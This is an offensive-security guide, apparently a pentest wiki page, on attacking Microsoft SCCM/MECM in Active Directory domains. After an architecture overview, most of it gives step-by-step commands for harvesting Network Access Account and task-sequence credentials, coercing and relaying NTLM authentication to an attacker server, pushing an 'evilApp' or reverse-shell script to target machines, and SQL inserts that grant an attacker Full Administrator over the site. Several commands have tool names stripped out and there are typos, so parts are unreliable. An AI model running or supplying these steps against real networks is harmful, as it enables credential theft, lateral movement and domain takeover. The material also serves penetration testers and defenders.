The System Center Configuration Manager (SCCM), now (since 2020) known as Microsoft Endpoint Configuration Manager (MECM), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments. It provides lots of features including remote control, patch management, task automation, application distribution, hardware and software inventory, compliance management and security policy administration.
SCCM is an on-premise solution, but Microsoft also maintains a cloud-native client management suite named Intune. Both Intune and SCCM are part of the "Microsoft Endpoint Manager" umbrella.


SCCM operates in a Client-Server architecture deployed on a "site", representing the SCCM environment. Each client (server or workstation) has an agent installed used to communicate with its SCCM server, the Primary Site server.
Clients are logically grouped into boundary groups, that are a set of network locations allowing clients to communicate with the SCCM closest resources in an SCCM site.
Boundary groups also allow for automatic site assignment for discovered clients based on their network location to attach them to the right site and ensure they receive the right configuration.
Each SCCM site is identified by a three-character code to distinguish it in an SCCM hierarchy. This is needed at the client registration process.
The primary site server manages the clients (like distributing software updates) and can have child servers attached to it (secondary sites), generally for scalability purpose.
Between the site server and clients sites the management point which is an SCCM server role allowing to provide clients with necessary policies and configuration to communicate with the site server and receive configuration data from them.
To get software packages, updates, OS images, etc. clients request the distribution point, which is the SCCM component that hosts and distributes them.
All information about the clients, software updates, hardware and software inventories, configuration settings of the site, etc. are stored in a Microsoft SQL Server (MSSQL) instance, known as the site database server. This database is used by the site server to retrieve and store information about the managed devices and is also used by the management point to retrieve policies and configuration information needed by the SCCM clients.
In addition, another component called the SMS Provider, provides a set of interfaces between the site server and the site database to give the clients needed information like available software updates and allow them communicate information like status of a software deployment and inventory data to store in the site database.
Typical multi-site architecture

Deployment types

When SCCM is installed in an Active Directory, the clients can be deployed on the workstations by six different ways:
  • Client push installation (default)
  • Software update-based installation
  • Group Policy installation
  • Manual installation
  • Logon script installation
  • Package and program installation
Client push installation
The first way of deploying SCCM is the Client push installation method, which is the default one and the least secure.
This installation will use "client push accounts". They are service accounts with local administrative rights on the assets where SCCM will have to deploy some stuff. The system administrator creates groups of endpoints and for each of those, one "client push account". For each group, only one "client push account" can authenticate with administrator rights on the assets of this group. Thus, if an account is compromised, only the members of the corresponding group can be compromised in turn.
When the SCCM deployment is launched, it will basically try to authenticate with each client push accounts on each asset, and if the authentication fails, SCCM will try the next account in line. When the authentication succeeds, it moves to the following asset, and so on until the deployment is complete.
SCCM deployment via Client push installation is service accounts credentials spraying in a nutshell.
Nota bene, there is a feature (not enabled by default) allowing for automatic client push installation on all discovered clients in a boundary group in an SCCM site.


Attack path overview

SCCM Attack Surface Overview


Enumerate whether SCCM is present in a target network
Using LDAP queries from a domain-joined Windows machine
## LDAP search via PS
PS C:\> ([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}
Using WMI queries or SharpSCCM to query a clients local WMI database
## WMI
PS C:\> Get-WmiObject -Class SMS_Authority -Namespace root\CCM
## SharmSCCP
PS C:\> .\SharpSCCM.exe local site-info, which is based on PXEThief, can be used to query for PXE boot media:
There are a few things to note here:
  • uses broadcast requests to request DHCP PXE boot options. An SCCM setup does not have to support PXE boot and a found PXE server does not have to be an SCCM component. Be cautios of false positive results.
  • In this case a PXE server was found and PXE media was downloaded. The location of the PXE media on the TFTP server is \SMSTemp\..., which indicates that this is indeed an SCCM server.

Privilege Escalation

Currently there are two different path ways for privilege escalation routes in an SCCM environment:
  • Credential harvesting
  • Authentication Coercion

Credential harvesting

The following SCCM components can contain credentials:
  • Device Collection variables
  • TaskSequence variables
  • Network Access Accounts (NAAs)
  • Client Push Accounts
  • Application & Scripts (potentially)
Find more details about these components in this blog post.
From Windows
From Linux
Harvest NAA credentials
# Locally
## Locally From WMI
PS:> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount
## Extracting from CIM store
PS:> .\SharpSCCM.exe local secretes disk
## Extracting from WMI
PS:> .\SharpSCCM.exe local secretes wmi
## Using SharpDPAPI
PS:> .\SharpDPAPI.exe SCCM
## Using mimikatz
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm
# Remotely from policy
PS:> .\SharpSCCM.exe get secretes
Harvest TaskSequence variables
# Locally
## Locally from WMI
PS:> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence
## Extracting from CIM store
PS:> .\SharpSCCM.exe local secrets -m disk
## Extracting from WMI
PS:> .\SharpSCCM.exe local secrets -m wmi
# Remotely from policy
PS:> .\SharpSCCM.exe get secrets
Harvest Device Collection variables
# Locally if device has been assigned Collection variables
## Locally from WMI
PS:> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable
## Locally from CIM store
PS:> .\SharpSCCM.exe local secrets -m disk
## Locally from WMI
PS:> .\SharpSCCM.exe local secrets -m wmi
From UNIX-like systems, (Python) can be used to decipher the WMI blob via DPAPI and retrieve the stored credentials. Additionally, the tool can also extract SYSTEM DPAPI credentials. -creds -sccm 'DOMAIN/USER:Password'@'target.domain.local'
Harvest NAA credentntials
The tool author (Adam Chester) warns not to use this script in production environments.
Step 1: Gain control over computer account password
$:> python3 impacket/examples/ -dc-ip -computer-name addedcomp1 -computer-pass Ndjqje8341 SafeAlliance.local/Frank.Zapper:b
Impacket v0.9.24.dev1+20210814.5640.358fc7c6 - Copyright 2021 SecureAuth Corporation
[*] Successfully added machine account addedcomp1$ with password Ndjqje8341.
Step 2: Use to extract NAA secrets
$:> python3 <CompAccountNetBiosName> <CompAccountFQDN> <SCCMMPNetBiosName> "<Domain>\<CompAccountName>$" "<CompAccountPassword>"
## Example
$:> python3 addedcomp1 addedcomp1.SafeAlliance.local SA-SCCM-1 "SafeAlliance\addedcomp1$" "Ndjqje8341"
Step 3: Obtain obfuscated NAA secrets
The obufscated NAA secrets will be saved in a local file
$:> cat /tmp/naapolicy.xml
Step 4: Decode obfuscated strings
To decode username and password use .\DeobfuscateSecretString.exe contained in SharpSCCM or sccmwtf

Authentication Coercion via Client Push Installation

With a compromised machine in an Active Directory where SCCM is deployed via Client Push Accounts on the assets, it is possible to have the "Client Push Account" authenticate to a remote resource and, for instance, retrieve an NTLM response (i.e. NTLM capture). The "Client Push Account" usually has local administrator rights to a lot of assets.
In some case, the "Client Push Accounts" could even be part of the Domain Admins group, leading to a complete takeover of the domain.
The client push installation can be triggered forcefully or - if you're lucky - your compromised machine might not have the SCCM client installed, which mean you could capture the client push installation as it occurs.
Option 1: Wait for Client Push Installation
## Credential capture using Inveigh
PS:> .\Inveigh.exe
Option 2: Forcefully "coerce" the Client Push Installation
Important note: You want to read this blog post before you continue this route, as this attack might leave traces behind and might junk up the SCCM environment.
Step 1: Prepare coercion receiver
Note that you could either capture & crack received credentials or relay them to a suitable target system (or both).
# On Linux
## Relay using
$:> python3 examples/ -smb2support -socks -ts -ip -t
# On Windows
## Credential capture using Inveigh
PS:> .\Inveigh.exe
Step 2: Trigger Client-Push Installation
## If admin access over Management Point (MP)
PS:> .\SharpSCCM.exe invoke client-push -t <AttackerServer> --as-admin
## If not MP admin
PS:> .\SharpSCCM.exe invoke client-push -t <AttackerServer>
Step 3: Cleanup
If you run the above SharpSCCM command with the --as-admin parameter (cause you have admin privileges over the MP), there's nothing to do. Otherwise get in contact with the administrator of the SCCM system you just messed up and provide the name or IP of the attacker server you provided in the -t <AttackerServer> parameter. This is the device name that will appear in SCCM.

Lateral Movement

Admin & Special Account Enumeration

This step requires administrative privileges over the SCCM Management Point (MP) in order to query the MP's WMI database.
Admin Users
PS:> .\SharpSCCM.exe get class-instances SMS_ADMIN
Special Accounts
PS:> .\SharpSCCM.exe get class-instances SMS_SCI_Reserved
Admin user enumeration in SCCM
Special Account Enumeration in SCCM

Applications and scripts deployment

Step 1: Confirm Access permissions
PS:> .\SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
Step 2: Find target device
## Search for device of user "Frank.Zapper"
PS:> .\SharpSCCM.exe get primary-users -u Frank.Zapper
## List all active SCCM devices where the SCCM client is installed
### CAUTION: This could be huge
PS:> .\SharpSCCM.exe get devices -w "Active=1 and Client=1"
Step 3: Deploy Application to target device
In this final step you can chose to either create an actual application to deploy to the target machine or just trigger an install from a remote UNC path in order to capture and relay an incoming NTLM authentication. Note the following:
  • Coercing an authentication might be stealthier (and requires less cleanup) than installing an application
  • To capture and relay NTLM credentials, the target device must support NTLM (very likely).
  • The neat part: The Authentication can be coerced using the primary user account of the device OR the device computer account (you can choose)
## Prep capturing server
## ntlmrelayx targeting
$:> sudo python3 -smb2support -socks -ts -ip -t
## Also keep Pcredz running, just in case
$:> sudo python3 ./Pcredz -i enp0s8 -t
## Run attack
PS:>.\SharpSCCM.exe exec -rid <TargetResourceID> -r <AttackerHost>
Note that the incoming authentication requsts might take a while (couple minutes) to roll in...
With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with PowerSCCM (Powershell).
# Create a SCCM Session via WMI with the Site Code
Find-SccmSiteCode -ComputerName SCCMServer
New-SccmSession -ComputerName SCCMServer -SiteCode <site_code> -ConnectionType WMI
# Retrieve the computers linked to the SCCM server
Get-SccmSession | Get-SccmComputer
# Create a computer collection
Get-SccmSession | New-SccmCollection -CollectionName "collection" -CollectionType "Device"
# Add computers to the collection
Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "target" -CollectionName "collection"
# Create an application to deploy
Get-SccmSession | New-SccmApplication -ApplicationName "evilApp" -PowerShellB64 "<powershell_script_in_Base64>"
# Create an application deployment with the application and the collection previously created
Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "evilApp" -AssignmentName "assig" -CollectionName "collection"
# Force the machine in the collection to check the application update (and force the install)
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "collection"
If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.
This pull request on PowerSCCM can be used to do everything in one command. It uses the script configurationmanager.psd1 created by Microsoft, usually installed on SCCM servers.
# Create a CM drive if it doesn't already exist and deploy a CMScript on a target
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN 'sccm.domain.local' -TargetDevice 'target' -Path '.\reverseTCP.ps1' -ScriptName 'evilScript'

SCCM Site Takeover

The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy (See SCCM Topology).
The user account that installs the site must have the following permissions:
  • Administrator on the following servers:
    • The site server
    • Each SQL Server that hosts the site database
    • Each instance of the SMS Provider for the site
  • Sysadmin on the instance of SQL Server that hosts the site database
This means that it is possible to obtain administrative access on the site database server by relaying a NTLM authentication coming from the primary site server, for example by coercing an automatic client push installation from it, and granting full access on the SCCM site to a controlled user.
For more details about how this attack works, refer to the article "SCCM Site Takeover via Automatic Client Push Installation" by Chris Thompson.
Some requirements are needed to perform the attack:
  • automatic site assignment and automatic site-wide client push installation are enabled
  • fallback to NTLM authentication is enabled (default)
  • the hotfix KB15599094 not installed (it prevents the client push installation account to perform an NTLM connection to a client)
  • PKI certificates are not required for client authentication (default)
  • either:
    • MSSQL is reachable on the site database server
    • SMB is reachable and SMB signing isn’t required on the site database server
  • knowing the three-character site code for the SCCM site is required (step 3 below)
  • knowing the NetBIOS name, FQDN, or IP address of a site management point is required
  • knowing the NetBIOS name, FQDN, or IP address of the site database server is required

1. Retrieve the controlled user SID

The first step consists in retrieving the hexadecimal format of the user's SID (Security IDentifier) to grant "Full Administrator SCCM role" to, on the site database server. The hex formatted SID is needed in a part below: 4. Obtain an SQL console.
From UNIX-like systems, the Samba utility named rpcclient can be used for this purpose.
rpcclient -c "lookupnames USER" $TARGET_IP
Impacket's lookupsid (Python) can also be used to retrieve the user's SID. "$DOMAIN"/"$USERNAME":"$PASSWORD"@"$TARGET_IP_OR_NAME"
The returned SID value is in canonical format and not hexadecimal, impacket can be used to convert it as follows.
from impacket.ldap import ldaptypes
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))
From Windows systems, SharpSCCM (C#) can be used for this purpose.
# this should be run on the windows SCCM client as the user (no need for admin privileges here)
.\SharpSCCM.exe get user-sid

2. Setup NTLM relay server

The target of the NTLM relay attack must be set to the site database server, either on the MS-SQL (port 1433/tcp), or SMB service (port 445/tcp) if the relayed user has admin privileges on the target. The rest of this page is focusing on relaying the authentication on the MS-SQL service.
From UNIX-like systems, Impacket's (Python) script can be used for that purpose. In the examples below, the -socks option is used for more versatility but is not required.
# targetting MS-SQL -t "mssql://siteDatabase.domain.local" -smb2support -socks
# targeting SMB -t "siteDatabase.domain.local" -smb2support -socks
From Windows systems, Inveigh-Relay (Powershell) can be used as an alternative to Impacket's, however it doesn't feature the same SOCKS functionality, need in the steps detailed below, meaning the exploitation from Windows system will need to be adapted.
Fore more insight on NTLM relay attacks and tools options, see the corresponding page on The Hacker Recipes: Broken link.

3. Authentication coercion

The primary site server's authentication can be coerced via automatic client push installation targeting the relay server with SharpSCCM (C#). For more information, see the corresponding article "Coercing NTLM authentication from SCCM" by Chris Thompson. Alternatively, the server's authentication could be coerced with other, more common, coercion techniques (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.).
From UNIX-like systems, authentication can be coerced through PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc. (not based on triggering the client push installation).
There isn't any UNIX-like alternative to the SharpSCCM.exe invoke client-push feature (yet).
.\SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "<site_code>" -t "attacker.domain.local"
The rest of this page is focusing on relaying the authentication on the MS-SQL service.

4. Obtain an SQL console

If the NTLM relay attack is a success and was targeting the MS-SQL service with SOCKS support, an SQL console could be obtained on the SCCM database through the opened socks proxy. From UNIX-like systems, Impacket's mssqlclient (Python) can be used for that purpose.
proxychains "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
Once the console is obtained, the attack can proceed to granting the user full privileges by running the following commands in the SQL console.
--Switch to site database
use CM_<site_code>
--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');
--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;
--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL),
--the “All Systems” scope (SMS00001),
--and the “All Users and User Groups” scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');
It is then possible to verify the new privileges on SCCM.
# this should be run on the windows SCCM client as the user that was just given full administrative role to
.\SharpSCCM.exe get site-push-settings -mp "SCCM-Server" -sc "<site_code>"
Post exploitation via SCCM can now be performed on the network.
The tool author (Chris Thompson) warns that SharpSCCM is a PoC only tested in lab. One should be careful when running in production environments.